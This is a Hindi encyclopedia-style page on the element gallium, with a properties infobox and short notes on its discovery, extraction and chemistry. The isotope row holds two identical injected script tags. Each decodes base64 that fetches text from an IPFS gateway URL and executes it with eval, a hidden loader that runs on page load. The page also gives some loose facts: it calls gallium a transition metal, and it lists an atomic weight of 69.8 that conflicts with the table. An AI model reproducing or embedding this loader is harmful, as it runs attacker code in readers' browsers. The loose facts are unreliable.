गैलियम

गैलियम
चमकीली सफ़ेद धातु
साधारण गुणधर्म
नाम, प्रतीक, संख्या	गैलियम, Ga, 31
तत्व श्रेणी	संक्रमण धातु
समूह, आवर्त, कक्षा	13, 4, p
मानक परमाणु भार	69.723g·mol−1
इलेक्ट्रॉन विन्यास	1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p1
इलेक्ट्रॉन प्रति शेल	2, 8, 18, 3
भौतिक गुणधर्म
अवस्था	ठोस
घनत्व (निकट क.ता.)	5.91 g·cm−3
तरल घनत्व (गलनांक पर)	6.095 g·cm−3
गलनांक	302.9146 K, 29.7646 °C, 85.5763 °F
क्वथनांक	2477 K, 2204 °C, 3999 °F
संलयन ऊष्मा	5.59 किलो जूल-मोल
वाष्पन ऊष्मा	254 किलो जूल-मोल
विशिष्ट ऊष्मीय क्षमता	25.86 जूल-मोल−1किलो−1
वाष्प दाब
P (Pa) 1 10 100 1 k 10 k 100 k at T (K) 1310 1448 1620 1838 2125 2518
परमाण्विक गुणधर्म
ऑक्सीकरण अवस्था	3, 2, 1 (उभयधर्मी ऑक्साइड)
इलेक्ट्रोनेगेटिविटी	1.81 (पाइलिंग पैमाना)
आयनीकरण ऊर्जाएँ (अधिक)	1st: 578.8 कि.जूल•मोल−1
	2nd: 1979.3 कि.जूल•मोल−1
	3rd: 2963 कि.जूल•मोल−1
परमाण्विक त्रिज्या	135 pm
सहसंयोजक त्रिज्या	122±3 pm
वैन्डैर वाल्स त्रिज्या	187 pm
विविध गुणधर्म
क्रिस्टल संरचना	ओर्थोर्होमबिक
चुम्बकीय क्रम	प्रतिचुम्बकीय
वैद्युत प्रतिरोधकता	(20 °C) 270 nΩ·m
ऊष्मीय चालकता	(300 K) 40.6 W·m−1·K−1
ऊष्मीय प्रसार	(25 °C) 1.2 µm·m−1·K−1
ध्वनि चाल (पतली छड़ में)	(20 °C) 2740 m.s-1
यंग मापांक	9.8 GPa
पॉयज़न अनुपात	0.47
मोह्स कठोरता मापांक	1.5
ब्राइनल कठोरता	60 MPa
सी.ए.एस पंजीकरण संख्या	7440-55-3
समस्थानिक
समस्थानिक प्रा. प्रचुरता अर्द्ध आयु क्षरण अवस्था क्षरण ऊर्जा (MeV) क्षरण उत्पाद 69Ga 60.11% 69Ga 38 न्यूट्रॉन के साथ स्थिर <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 71Ga 39.89% 71Ga 40 न्यूट्रॉन के साथ स्थिर <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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गैलियम (अंग्रेज़ी:Gallium) एक रासायनिक तत्व है, जिसका रासायनिक संकेत 'Ga', परमाणु संख्या 31 तथा परमाणु भार 69.8 है। गैलियम अतिसूक्ष्म मात्रा में अन्य धातुओं के खनिजों, विशेषत: ज़िंकब्लेंड और बॉक्साइट में पाया जाता है।

• 1875 ई. में लकाक द ब्वाबोद्राँ ने इस धातु का अविष्कार किया था।
• तत्वों की आवर्त सारणी तैयार करने में मेंडेलिफ़ ने ऐलुमिनियम समूह के तत्वों में एक रिक्त स्थान पाया, जिसको उसने 'एका-ऐल्यूमिनियम' नाम दिया। इसी रिक्त स्थान की पूर्ति गैलियम से हुई है।
• खनिजों से अम्लराज की क्रिया द्वारा क्लोराइड के रूप में गैलियम पृथक् किया जाता है।
• गैलियम लवणों के क्षारीय विलयन के विद्युद्विश्लेषण से गैलियम धातु प्राप्त होती है।
• गैलियम नीली आभावली, सफ़ेद, कठोर धातु है।
• इस धातु का आपेक्षिक घनत्व 5.9 है। पिघलने पर (द्रवांक 29.76° सें.) रजत सा सफेद द्रव प्राप्त होता है।
• यह अतिशीतलीकरण से सामान्य ताप पर भी द्रव रूप में मिलता है। अम्लों, जलीय दाहक पोटाश और अम्लराज में धातु घुल जाती है।
• गैलियम के ऑक्साइड, हाइड्रॉक्साइड, क्लोराइड तथा सल्फेट ऐल्यूमिनियम के लवणों से बहुत मिलते जुलते हैं। इसके ऐलम भी बनते हैं। इसकी मिश्रधातुएँ बनी हैं और कुछ उपयोगी सिद्ध हुई हैं।

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